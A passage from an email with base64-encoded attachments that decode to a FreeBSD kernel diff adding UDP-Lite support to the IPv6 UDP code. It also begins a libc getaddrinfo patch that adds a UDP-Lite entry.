Nl9JU19BRERSX01VTFRJQ0FTVCgmaXA2LT5pcDZfZHN0KSkgewogCQlzdHJ1Y3QgaW5wY2IgKmxh c3Q7CisJCXN0cnVjdCBpbnBjYmhlYWQgKnBjYmxpc3Q7CiAJCXN0cnVjdCBpcDZfbW9wdGlvbnMg KmltbzsKIAotCQlJTlBfSU5GT19STE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0lORk9fUkxPQ0so cGNiaW5mbyk7CiAJCS8qCiAJCSAqIEluIHRoZSBldmVudCB0aGF0IGxhZGRyIHNob3VsZCBiZSBz ZXQgdG8gdGhlIGxpbmstbG9jYWwKIAkJICogYWRkcmVzcyAodGhpcyBoYXBwZW5zIGluIFJJUG5n KSwgdGhlIG11bHRpY2FzdCBhZGRyZXNzCkBAIC0yNjksOCArMjg2LDkgQEAgdWRwNl9pbnB1dChz dHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykKIAkJICogaGVyZS4gIFdlIG5l ZWQgdWRwaGRyIGZvciBJUHNlYyBwcm9jZXNzaW5nIHNvIHdlIGRvIHRoYXQKIAkJICogbGF0ZXIu CiAJCSAqLworCQlwY2JsaXN0ID0gKG54dCA9PSBJUFBST1RPX1VEUCkgPyAmVl91ZGIgOiAmVl91 bGl0ZWNiOwogCQlsYXN0ID0gTlVMTDsKLQkJTElTVF9GT1JFQUNIKGlucCwgJlZfdWRiLCBpbnBf bGlzdCkgeworCQlMSVNUX0ZPUkVBQ0goaW5wLCBwY2JsaXN0LCBpbnBfbGlzdCkgewogCQkJaWYg KChpbnAtPmlucF92ZmxhZyAmIElOUF9JUFY2KSA9PSAwKQogCQkJCWNvbnRpbnVlOwogCQkJaWYg KGlucC0+aW5wX2xwb3J0ICE9IHVoLT51aF9kcG9ydCkKQEAgLTM3NSw3ICszOTMsNyBAQCB1ZHA2 X2lucHV0KHN0cnVjdCBtYnVmICoqbXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCQkJZ290byBi YWRoZWFkbG9ja2VkOwogCQl9CiAJCUlOUF9STE9DSyhsYXN0KTsKLQkJSU5QX0lORk9fUlVOTE9D SygmVl91ZGJpbmZvKTsKKwkJSU5QX0lORk9fUlVOTE9DSyhwY2JpbmZvKTsKIAkJdXAgPSBpbnRv dWRwY2IobGFzdCk7CiAJCWlmICh1cC0+dV90dW5fZnVuYyA9PSBOVUxMKSB7CiAJCQl1ZHA2X2Fw cGVuZChsYXN0LCBtLCBvZmYsICZmcm9tc2EpOwpAQCAtNDA1LDggKzQyMyw4IEBAIHVkcDZfaW5w dXQoc3RydWN0IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJCSAqIFRyYW5zcGFy ZW50bHkgZm9yd2FyZGVkLiBQcmV0ZW5kIHRvIGJlIHRoZSBkZXN0aW5hdGlvbi4KIAkJICogQWxy ZWFkeSBnb3Qgb25lIGxpa2UgdGhpcz8KIAkJICovCi0JCWlucCA9IGluNl9wY2Jsb29rdXBfbWJ1 ZigmVl91ZGJpbmZvLAotCQkgICAgJmlwNi0+aXA2X3NyYywgdWgtPnVoX3Nwb3J0LCAmaXA2LT5p cDZfZHN0LCB1aC0+dWhfZHBvcnQsCisJCWlucCA9IGluNl9wY2Jsb29rdXBfbWJ1ZihwY2JpbmZv LCAmaXA2LT5pcDZfc3JjLAorCQkgICAgdWgtPnVoX3Nwb3J0LCAmaXA2LT5pcDZfZHN0LCB1aC0+ dWhfZHBvcnQsCiAJCSAgICBJTlBMT09LVVBfUkxPQ0tQQ0IsIG0tPm1fcGt0aGRyLnJjdmlmLCBt KTsKIAkJaWYgKCFpbnApIHsKIAkJCS8qCkBAIC00MTQsNyArNDMyLDcgQEAgdWRwNl9pbnB1dChz dHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykKIAkJCSAqIEJlY2F1c2Ugd2Un dmUgcmV3cml0dGVuIHRoZSBkZXN0aW5hdGlvbiBhZGRyZXNzLAogCQkJICogYW55IGhhcmR3YXJl LWdlbmVyYXRlZCBoYXNoIGlzIGlnbm9yZWQuCiAJCQkgKi8KLQkJCWlucCA9IGluNl9wY2Jsb29r dXAoJlZfdWRiaW5mbywgJmlwNi0+aXA2X3NyYywKKwkJCWlucCA9IGluNl9wY2Jsb29rdXAocGNi aW5mbywgJmlwNi0+aXA2X3NyYywKIAkJCSAgICB1aC0+dWhfc3BvcnQsICZuZXh0X2hvcDYtPnNp bjZfYWRkciwKIAkJCSAgICBuZXh0X2hvcDYtPnNpbjZfcG9ydCA/IGh0b25zKG5leHRfaG9wNi0+ c2luNl9wb3J0KSA6CiAJCQkgICAgdWgtPnVoX2Rwb3J0LCBJTlBMT09LVVBfV0lMRENBUkQgfApA QCAtNDI0LDcgKzQ0Miw3IEBAIHVkcDZfaW5wdXQoc3RydWN0IG1idWYgKiptcCwgaW50ICpvZmZw LCBpbnQgcHJvdG8pCiAJCW1fdGFnX2RlbGV0ZShtLCBmd2RfdGFnKTsKIAkJbS0+bV9mbGFncyAm PSB+TV9JUDZfTkVYVEhPUDsKIAl9IGVsc2UKLQkJaW5wID0gaW42X3BjYmxvb2t1cF9tYnVmKCZW X3VkYmluZm8sICZpcDYtPmlwNl9zcmMsCisJCWlucCA9IGluNl9wY2Jsb29rdXBfbWJ1ZihwY2Jp bmZvLCAmaXA2LT5pcDZfc3JjLAogCQkgICAgdWgtPnVoX3Nwb3J0LCAmaXA2LT5pcDZfZHN0LCB1 aC0+dWhfZHBvcnQsCiAJCSAgICBJTlBMT09LVVBfV0lMRENBUkQgfCBJTlBMT09LVVBfUkxPQ0tQ Q0IsCiAJCSAgICBtLT5tX3BrdGhkci5yY3ZpZiwgbSk7CkBAIC00NTQsNyArNDcyLDE0IEBAIHVk cDZfaW5wdXQoc3RydWN0IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJCXJldHVy biAoSVBQUk9UT19ET05FKTsKIAl9CiAJSU5QX1JMT0NLX0FTU0VSVChpbnApOwotCXVwID0gaW50 b3VkcGNiKGlucCk7CisJaWYgKGNzY292X3BhcnRpYWwpIHsKKwkJdXAgPSBpbnRvdWRwY2IoaW5w KTsKKwkJaWYgKHVwLT51X3J4Y3NsZW4gPiB1bGVuKSB7CisJCQlJTlBfUlVOTE9DSyhpbnApOwor CQkJbV9mcmVlbShtKTsKKwkJCXJldHVybiAoSVBQUk9UT19ET05FKTsKKwkJfQorCX0KIAlpZiAo dXAtPnVfdHVuX2Z1bmMgPT0gTlVMTCkgewogCQl1ZHA2X2FwcGVuZChpbnAsIG0sIG9mZiwgJmZy b21zYSk7CiAJfSBlbHNlIHsKQEAgLTQ2OCwxNSArNDkzLDE2IEBAIHVkcDZfaW5wdXQoc3RydWN0 IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJcmV0dXJuIChJUFBST1RPX0RPTkUp OwogCiBiYWRoZWFkbG9ja2VkOgotCUlOUF9JTkZPX1JVTkxPQ0soJlZfdWRiaW5mbyk7CisJSU5Q X0lORk9fUlVOTE9DSyhwY2JpbmZvKTsKIGJhZHVubG9ja2VkOgogCWlmIChtKQogCQltX2ZyZWVt KG0pOwogCXJldHVybiAoSVBQUk9UT19ET05FKTsKIH0KIAotdm9pZAotdWRwNl9jdGxpbnB1dChp bnQgY21kLCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICpkKQorc3RhdGljIHZvaWQKK3VkcDZf Y29tbW9uX2N0bGlucHV0KGludCBjbWQsIHN0cnVjdCBzb2NrYWRkciAqc2EsIHZvaWQgKmQsCisg ICAgc3RydWN0IGlucGNiaW5mbyAqcGNiaW5mbykKIHsKIAlzdHJ1Y3QgdWRwaGRyIHVoOwogCXN0 cnVjdCBpcDZfaGRyICppcDY7CkBAIC01MzIsMTQgKzU1OCwyNiBAQCBiYWR1bmxvY2tlZDoKIAkJ Ynplcm8oJnVoLCBzaXplb2YodWgpKTsKIAkJbV9jb3B5ZGF0YShtLCBvZmYsIHNpemVvZigqdWhw KSwgKGNhZGRyX3QpJnVoKTsKIAotCQkodm9pZCkgaW42X3BjYm5vdGlmeSgmVl91ZGJpbmZvLCBz YSwgdWgudWhfZHBvcnQsCisJCSh2b2lkKSBpbjZfcGNibm90aWZ5KHBjYmluZm8sIHNhLCB1aC51 aF9kcG9ydCwKIAkJICAgIChzdHJ1Y3Qgc29ja2FkZHIgKilpcDZjcC0+aXA2Y19zcmMsIHVoLnVo X3Nwb3J0LCBjbWQsCiAJCSAgICBjbWRhcmcsIG5vdGlmeSk7CiAJfSBlbHNlCi0JCSh2b2lkKSBp bjZfcGNibm90aWZ5KCZWX3VkYmluZm8sIHNhLCAwLAorCQkodm9pZCkgaW42X3BjYm5vdGlmeShw Y2JpbmZvLCBzYSwgMCwKIAkJICAgIChjb25zdCBzdHJ1Y3Qgc29ja2FkZHIgKilzYTZfc3JjLCAw LCBjbWQsIGNtZGFyZywgbm90aWZ5KTsKIH0KIAordm9pZAordWRwNl9jdGxpbnB1dChpbnQgY21k LCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICpkKQoreworCXJldHVybiAodWRwNl9jb21tb25f Y3RsaW5wdXQoY21kLCBzYSwgZCwgJlZfdWRiaW5mbykpOworfQorCit2b2lkCit1ZHBsaXRlNl9j dGxpbnB1dChpbnQgY21kLCBzdHJ1Y3Qgc29ja2FkZHIgKnNhLCB2b2lkICpkKQoreworCXJldHVy biAodWRwNl9jb21tb25fY3RsaW5wdXQoY21kLCBzYSwgZCwgJlZfdWxpdGVjYmluZm8pKTsKK30K Kwogc3RhdGljIGludAogdWRwNl9nZXRjcmVkKFNZU0NUTF9IQU5ETEVSX0FSR1MpCiB7CkBAIC01 OTcsOSArNjM1LDEyIEBAIHVkcDZfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1 ZiAqbSwgc3RyCiAJc3RydWN0IGluNl9hZGRyICpsYWRkciwgKmZhZGRyLCBpbjZhOwogCXN0cnVj dCBzb2NrYWRkcl9pbjYgKnNpbjYgPSBOVUxMOwogCXN0cnVjdCBpZm5ldCAqb2lmcCA9IE5VTEw7 CisJaW50IGNzY292X3BhcnRpYWwgPSAwOwogCWludCBzY29wZV9hbWJpZ3VvdXMgPSAwOwogCXVf c2hvcnQgZnBvcnQ7CiAJaW50IGVycm9yID0gMDsKKwl1aW50OF90IG54dDsKKwl1aW50MTZfdCBj c2NvdiA9IDA7CiAJc3RydWN0IGlwNl9wa3RvcHRzICpvcHRwLCBvcHQ7CiAJaW50IGFmID0gQUZf SU5FVDYsIGhsZW4gPSBzaXplb2Yoc3RydWN0IGlwNl9oZHIpOwogCWludCBmbGFnczsKQEAgLTc1 NiwxMyArNzk3LDI5IEBAIHVkcDZfb3V0cHV0KHN0cnVjdCBpbnBjYiAqaW5wLCBzdHJ1Y3QgbWJ1 ZiAqbSwgc3RyCiAJLyoKIAkgKiBTdHVmZiBjaGVja3N1bSBhbmQgb3V0cHV0IGRhdGFncmFtLgog CSAqLworCW54dCA9IElQUFJPVE9fVURQOwogCXVkcDYgPSAoc3RydWN0IHVkcGhkciAqKShtdG9k KG0sIGNhZGRyX3QpICsgaGxlbik7CiAJdWRwNi0+dWhfc3BvcnQgPSBpbnAtPmlucF9scG9ydDsg LyogbHBvcnQgaXMgYWx3YXlzIHNldCBpbiB0aGUgUENCICovCiAJdWRwNi0+dWhfZHBvcnQgPSBm cG9ydDsKLQlpZiAocGxlbiA8PSAweGZmZmYpCisJaWYgKGlucC0+aW5wX3NvY2tldC0+c29fcHJv dG8tPnByX3Byb3RvY29sID09IElQUFJPVE9fVURQTElURSkgeworCQlzdHJ1Y3QgdWRwY2IgKnVw OworCisJCW54dCA9IElQUFJPVE9fVURQTElURTsKKwkJdXAgPSBpbnRvdWRwY2IoaW5wKTsKKwkJ Y3Njb3YgPSB1cC0+dV90eGNzbGVuOworCQlpZiAoY3Njb3YgPj0gcGxlbikKKwkJCWNzY292ID0g MDsKKwkJdWRwNi0+dWhfdWxlbiA9IGh0b25zKGNzY292KTsKKworCQkvKiBGb3IgVURQTGl0ZSwg Y2hlY2tzdW0gY292ZXJhZ2UgbGVuZ3RoIG9mIHplcm8gbWVhbnMKKwkJICogdGhlIGVudGlyZSBV RFBMaXRlIHBhY2tldCBpcyBjb3ZlcmVkIGJ5IHRoZSBjaGVja3N1bS4KKwkJICovCisJCWNzY292 X3BhcnRpYWwgPSAoY3Njb3YgPT0gMCkgPyAwIDogMTsKKwl9IGVsc2UgaWYgKHBsZW4gPD0gMHhm ZmZmKQogCQl1ZHA2LT51aF91bGVuID0gaHRvbnMoKHVfc2hvcnQpcGxlbik7CiAJZWxzZQogCQl1 ZHA2LT51aF91bGVuID0gMDsKKwogCXVkcDYtPnVoX3N1bSA9IDA7CiAKIAlzd2l0Y2ggKGFmKSB7 CkBAIC03NzEsMTcgKzgyOCwyMiBAQCB1ZHA2X291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3Ry dWN0IG1idWYgKm0sIHN0cgogCQlpcDYtPmlwNl9mbG93CT0gaW5wLT5pbnBfZmxvdyAmIElQVjZf RkxPV0lORk9fTUFTSzsKIAkJaXA2LT5pcDZfdmZjCSY9IH5JUFY2X1ZFUlNJT05fTUFTSzsKIAkJ aXA2LT5pcDZfdmZjCXw9IElQVjZfVkVSU0lPTjsKLSNpZiAwCQkJCS8qIGlwNl9wbGVuIHdpbGwg YmUgZmlsbGVkIGluIGlwNl9vdXRwdXQuICovCi0JCWlwNi0+aXA2X3BsZW4JPSBodG9ucygodV9z aG9ydClwbGVuKTsKLSNlbmRpZgotCQlpcDYtPmlwNl9ueHQJPSBJUFBST1RPX1VEUDsKKwkJaWYg KG54dCA9PSBJUFBST1RPX1VEUExJVEUpCisJCQlpcDYtPmlwNl9wbGVuID0gaHRvbnMoKHVfc2hv cnQpcGxlbik7CisJCWlwNi0+aXA2X254dAk9IG54dDsKIAkJaXA2LT5pcDZfaGxpbQk9IGluNl9z ZWxlY3RobGltKGlucCwgTlVMTCk7CiAJCWlwNi0+aXA2X3NyYwk9ICpsYWRkcjsKIAkJaXA2LT5p cDZfZHN0CT0gKmZhZGRyOwogCi0JCXVkcDYtPnVoX3N1bSA9IGluNl9ja3N1bV9wc2V1ZG8oaXA2 LCBwbGVuLCBJUFBST1RPX1VEUCwgMCk7Ci0JCW0tPm1fcGt0aGRyLmNzdW1fZmxhZ3MgPSBDU1VN X1VEUF9JUFY2OwotCQltLT5tX3BrdGhkci5jc3VtX2RhdGEgPSBvZmZzZXRvZihzdHJ1Y3QgdWRw aGRyLCB1aF9zdW0pOworCQlpZiAoY3Njb3ZfcGFydGlhbCkgeworCQkJaWYgKCh1ZHA2LT51aF9z dW0gPSBpbjZfY2tzdW0obSwgMCwKKwkJCSAgICBzaXplb2Yoc3RydWN0IGlwNl9oZHIpLCBjc2Nv dikpID09IDApCisJCQkJdWRwNi0+dWhfc3VtID0gMHhmZmZmOworCQl9IGVsc2UgeworCQkJdWRw Ni0+dWhfc3VtID0gaW42X2Nrc3VtX3BzZXVkbyhpcDYsIHBsZW4sIG54dCwgMCk7CisJCQltLT5t X3BrdGhkci5jc3VtX2ZsYWdzID0gQ1NVTV9VRFBfSVBWNjsKKwkJCW0tPm1fcGt0aGRyLmNzdW1f ZGF0YSA9IG9mZnNldG9mKHN0cnVjdCB1ZHBoZHIsIHVoX3N1bSk7CisJCX0KIAogCQlmbGFncyA9 IDA7CiAKQEAgLTgyNiwxMCArODg4LDEwIEBAIHVkcDZfYWJvcnQoc3RydWN0IHNvY2tldCAqc28p CiAKIAlJTlBfV0xPQ0soaW5wKTsKIAlpZiAoIUlONl9JU19BRERSX1VOU1BFQ0lGSUVEKCZpbnAt PmluNnBfZmFkZHIpKSB7Ci0JCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFT SF9XTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAkJaW42X3BjYmRpc2Nvbm5lY3QoaW5wKTsKIAkJ aW5wLT5pbjZwX2xhZGRyID0gaW42YWRkcl9hbnk7Ci0JCUlOUF9IQVNIX1dVTkxPQ0soJlZfdWRi aW5mbyk7CisJCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCXNvaXNkaXNj b25uZWN0ZWQoc28pOwogCX0KIAlJTlBfV1VOTE9DSyhpbnApOwpAQCAtODM5LDggKzkwMSwxMyBA QCBzdGF0aWMgaW50CiB1ZHA2X2F0dGFjaChzdHJ1Y3Qgc29ja2V0ICpzbywgaW50IHByb3RvLCBz dHJ1Y3QgdGhyZWFkICp0ZCkKIHsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsKKwlzdHJ1Y3QgaW5wY2Jp bmZvICpwY2JpbmZvOwogCWludCBlcnJvcjsKIAorCWlmIChzby0+c29fcHJvdG8tPnByX3Byb3Rv Y29sID09IElQUFJPVE9fVURQKQorCQlwY2JpbmZvID0gJlZfdWRiaW5mbzsKKwkgZWxzZQorCQlw Y2JpbmZvID0gJlZfdWxpdGVjYmluZm87CiAJaW5wID0gc290b2lucGNiKHNvKTsKIAlLQVNTRVJU KGlucCA9PSBOVUxMLCAoInVkcDZfYXR0YWNoOiBpbnAgIT0gTlVMTCIpKTsKIApAQCAtODQ5LDEw ICs5MTYsMTAgQEAgdWRwNl9hdHRhY2goc3RydWN0IHNvY2tldCAqc28sIGludCBwcm90bywgc3Ry dWN0IHQKIAkJaWYgKGVycm9yKQogCQkJcmV0dXJuIChlcnJvcik7CiAJfQotCUlOUF9JTkZPX1dM T0NLKCZWX3VkYmluZm8pOwotCWVycm9yID0gaW5fcGNiYWxsb2Moc28sICZWX3VkYmluZm8pOwor CUlOUF9JTkZPX1dMT0NLKHBjYmluZm8pOworCWVycm9yID0gaW5fcGNiYWxsb2Moc28sIHBjYmlu Zm8pOwogCWlmIChlcnJvcikgewotCQlJTlBfSU5GT19XVU5MT0NLKCZWX3VkYmluZm8pOworCQlJ TlBfSU5GT19XVU5MT0NLKHBjYmluZm8pOwogCQlyZXR1cm4gKGVycm9yKTsKIAl9CiAJaW5wID0g KHN0cnVjdCBpbnBjYiAqKXNvLT5zb19wY2I7CkBAIC04NzMsMTEgKzk0MCwxMSBAQCB1ZHA2X2F0 dGFjaChzdHJ1Y3Qgc29ja2V0ICpzbywgaW50IHByb3RvLCBzdHJ1Y3QgdAogCWlmIChlcnJvcikg ewogCQlpbl9wY2JkZXRhY2goaW5wKTsKIAkJaW5fcGNiZnJlZShpbnApOwotCQlJTlBfSU5GT19X VU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSU5GT19XVU5MT0NLKHBjYmluZm8pOwogCQlyZXR1 cm4gKGVycm9yKTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsKLQlJTlBfSU5GT19XVU5MT0NLKCZW X3VkYmluZm8pOworCUlOUF9JTkZPX1dVTkxPQ0socGNiaW5mbyk7CiAJcmV0dXJuICgwKTsKIH0K IApAQCAtODkxLDcgKzk1OCw3IEBAIHVkcDZfYmluZChzdHJ1Y3Qgc29ja2V0ICpzbywgc3RydWN0 IHNvY2thZGRyICpuYW0sCiAJS0FTU0VSVChpbnAgIT0gTlVMTCwgKCJ1ZHA2X2JpbmQ6IGlucCA9 PSBOVUxMIikpOwogCiAJSU5QX1dMT0NLKGlucCk7Ci0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5m byk7CisJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJaW5wLT5pbnBfdmZsYWcg Jj0gfklOUF9JUFY0OwogCWlucC0+aW5wX3ZmbGFnIHw9IElOUF9JUFY2OwogCWlmICgoaW5wLT5p bnBfZmxhZ3MgJiBJTjZQX0lQVjZfVjZPTkxZKSA9PSAwKSB7CkBAIC05MTksNyArOTg2LDcgQEAg dWRwNl9iaW5kKHN0cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29ja2FkZHIgKm5hbSwKICNpZmRl ZiBJTkVUCiBvdXQ6CiAjZW5kaWYKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCUlO UF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJSU5QX1dVTkxPQ0soaW5wKTsKIAly ZXR1cm4gKGVycm9yKTsKIH0KQEAgLTk0MywxMCArMTAxMCwxMCBAQCB1ZHA2X2Nsb3NlKHN0cnVj dCBzb2NrZXQgKnNvKQogI2VuZGlmCiAJSU5QX1dMT0NLKGlucCk7CiAJaWYgKCFJTjZfSVNfQURE Ul9VTlNQRUNJRklFRCgmaW5wLT5pbjZwX2ZhZGRyKSkgewotCQlJTlBfSEFTSF9XTE9DSygmVl91 ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWluNl9wY2Jk aXNjb25uZWN0KGlucCk7CiAJCWlucC0+aW42cF9sYWRkciA9IGluNmFkZHJfYW55OwotCQlJTlBf SEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3Bj YmluZm8pOwogCQlzb2lzZGlzY29ubmVjdGVkKHNvKTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsK QEAgLTk4NSwxMCArMTA1MiwxMCBAQCB1ZHA2X2Nvbm5lY3Qoc3RydWN0IHNvY2tldCAqc28sIHN0 cnVjdCBzb2NrYWRkciAqbgogCQllcnJvciA9IHByaXNvbl9yZW1vdGVfaXA0KHRkLT50ZF91Y3Jl ZCwgJnNpbi5zaW5fYWRkcik7CiAJCWlmIChlcnJvciAhPSAwKQogCQkJZ290byBvdXQ7Ci0JCUlO UF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCQlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2Jp bmZvKTsKIAkJZXJyb3IgPSBpbl9wY2Jjb25uZWN0KGlucCwgKHN0cnVjdCBzb2NrYWRkciAqKSZz aW4sCiAJCSAgICB0ZC0+dGRfdWNyZWQpOwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8p OworCQlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlpZiAoZXJyb3IgPT0g MCkKIAkJCXNvaXNjb25uZWN0ZWQoc28pOwogCQlnb3RvIG91dDsKQEAgLTEwMDMsOSArMTA3MCw5 IEBAIHVkcDZfY29ubmVjdChzdHJ1Y3Qgc29ja2V0ICpzbywgc3RydWN0IHNvY2thZGRyICpuCiAJ ZXJyb3IgPSBwcmlzb25fcmVtb3RlX2lwNih0ZC0+dGRfdWNyZWQsICZzaW42LT5zaW42X2FkZHIp OwogCWlmIChlcnJvciAhPSAwKQogCQlnb3RvIG91dDsKLQlJTlBfSEFTSF9XTE9DSygmVl91ZGJp bmZvKTsKKwlJTlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAllcnJvciA9IGluNl9w Y2Jjb25uZWN0KGlucCwgbmFtLCB0ZC0+dGRfdWNyZWQpOwotCUlOUF9IQVNIX1dVTkxPQ0soJlZf dWRiaW5mbyk7CisJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAlpZiAoZXJy b3IgPT0gMCkKIAkJc29pc2Nvbm5lY3RlZChzbyk7CiBvdXQ6CkBAIC0xMDE4LDE4ICsxMDg1LDIx IEBAIHVkcDZfZGV0YWNoKHN0cnVjdCBzb2NrZXQgKnNvKQogewogCXN0cnVjdCBpbnBjYiAqaW5w OwogCXN0cnVjdCB1ZHBjYiAqdXA7CisJaW50IGlzdWRwOwogCisJaXN1ZHAgPSAoc28tPnNvX3By b3RvLT5wcl9wcm90b2NvbCA9PSBJUFBST1RPX1VEUCkgPyAxIDogMDsKKwogCWlucCA9IHNvdG9p bnBjYihzbyk7CiAJS0FTU0VSVChpbnAgIT0gTlVMTCwgKCJ1ZHA2X2RldGFjaDogaW5wID09IE5V TEwiKSk7CiAKLQlJTlBfSU5GT19XTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSU5GT19XTE9DSyhp bnAtPmlucF9wY2JpbmZvKTsKIAlJTlBfV0xPQ0soaW5wKTsKIAl1cCA9IGludG91ZHBjYihpbnAp OwogCUtBU1NFUlQodXAgIT0gTlVMTCwgKCIlczogdXAgPT0gTlVMTCIsIF9fZnVuY19fKSk7CiAJ aW5fcGNiZGV0YWNoKGlucCk7CiAJaW5fcGNiZnJlZShpbnApOwotCUlOUF9JTkZPX1dVTkxPQ0so JlZfdWRiaW5mbyk7Ci0JdWRwX2Rpc2NhcmRjYih1cCk7CisJSU5QX0lORk9fV1VOTE9DSyhpbnAt PmlucF9wY2JpbmZvKTsKKwl1ZHBfZGlzY2FyZGNiKHVwLCBpc3VkcCk7CiB9CiAKIHN0YXRpYyBp bnQKQEAgLTEwNTgsMTAgKzExMjgsMTAgQEAgdWRwNl9kaXNjb25uZWN0KHN0cnVjdCBzb2NrZXQg KnNvKQogCQlnb3RvIG91dDsKIAl9CiAKLQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwlJ TlBfSEFTSF9XTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAlpbjZfcGNiZGlzY29ubmVjdChpbnAp OwogCWlucC0+aW42cF9sYWRkciA9IGluNmFkZHJfYW55OwotCUlOUF9IQVNIX1dVTkxPQ0soJlZf dWRiaW5mbyk7CisJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAlTT0NLX0xP Q0soc28pOwogCXNvLT5zb19zdGF0ZSAmPSB+U1NfSVNDT05ORUNURUQ7CQkvKiBYWFggKi8KIAlT T0NLX1VOTE9DSyhzbyk7CkBAIC0xMTI4LDkgKzExOTgsOSBAQCB1ZHA2X3NlbmQoc3RydWN0IHNv Y2tldCAqc28sIGludCBmbGFncywgc3RydWN0IG1idQogI2lmZGVmIE1BQwogCW1hY19pbnBjYl9j cmVhdGVfbWJ1ZihpbnAsIG0pOwogI2VuZGlmCi0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7 CisJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJZXJyb3IgPSB1ZHA2X291dHB1 dChpbnAsIG0sIGFkZHIsIGNvbnRyb2wsIHRkKTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmlu Zm8pOworCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAjaWZkZWYgSU5FVAog I2VuZGlmCQogCUlOUF9XVU5MT0NLKGlucCk7CkluZGV4OiBzeXMvbmV0aW5ldDYvdWRwNl92YXIu aAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09Ci0tLSBzeXMvbmV0aW5ldDYvdWRwNl92YXIuaAkocmV2aXNpb24gMjQ4ODEx KQorKysgc3lzL25ldGluZXQ2L3VkcDZfdmFyLmgJKHdvcmtpbmcgY29weSkKQEAgLTY5LDYgKzY5 LDcgQEAgU1lTQ1RMX0RFQ0woX25ldF9pbmV0Nl91ZHA2KTsKIGV4dGVybiBzdHJ1Y3QgcHJfdXNy cmVxcwl1ZHA2X3VzcnJlcXM7CiAKIHZvaWQJdWRwNl9jdGxpbnB1dChpbnQsIHN0cnVjdCBzb2Nr YWRkciAqLCB2b2lkICopOwordm9pZAl1ZHBsaXRlNl9jdGxpbnB1dChpbnQsIHN0cnVjdCBzb2Nr YWRkciAqLCB2b2lkICopOwogaW50CXVkcDZfaW5wdXQoc3RydWN0IG1idWYgKiosIGludCAqLCBp bnQpOwogI2VuZGlmCiAK --047d7b5d58b4c09aa004f4c73c6e Content-Type: text/plain; charset=US-ASCII; name="udplite.diff" Content-Disposition: attachment; filename="udplite.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hsvl7cvo2 SW5kZXg6IGxpYi9saWJjL25ldC9nZXRhZGRyaW5mby5jCj09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIGxpYi9saWJj L25ldC9nZXRhZGRyaW5mby5jCShyZXZpc2lvbiAyNDg0NTgpCisrKyBsaWIvbGliYy9uZXQvZ2V0 YWRkcmluZm8uYwkod29ya2luZyBjb3B5KQpAQCAtMTcwLDEyICsxNzAsMTQgQEAgc3RhdGljIGNv bnN0IHN0cnVjdCBleHBsb3JlIGV4cGxvcmVbXSA9IHsKIAl7IFBGX0lORVQ2LCBTT0NLX1NUUkVB TSwgSVBQUk9UT19UQ1AsIDB4MDcgfSwKIAl7IFBGX0lORVQ2LCBTT0NLX1NUUkVBTSwgSVBQUk9U T19TQ1RQLCAweDAzIH0sCiAJeyBQRl9JTkVUNiwgU09DS19TRVFQQUNLRVQsIElQUFJPVE9fU0NU UCwgMHgwNyB9LAorCXsgUEZfSU5FVDYsIFNPQ0tfREdSQU0sIElQUFJPVE9fVURQTElURSwgMHgw MyB9LAogCXsgUEZfSU5FVDYsIFNPQ0tfUkFXLCBBTlksIDB4MDUgfSwKICNlbmRpZgogCXsgUEZf SU5FVCwgU09DS19ER1JBTSwgSVBQUk9UT19VRFAsIDB4MDcgfSwKIAl7IFBGX0lORVQsIFNPQ0tf 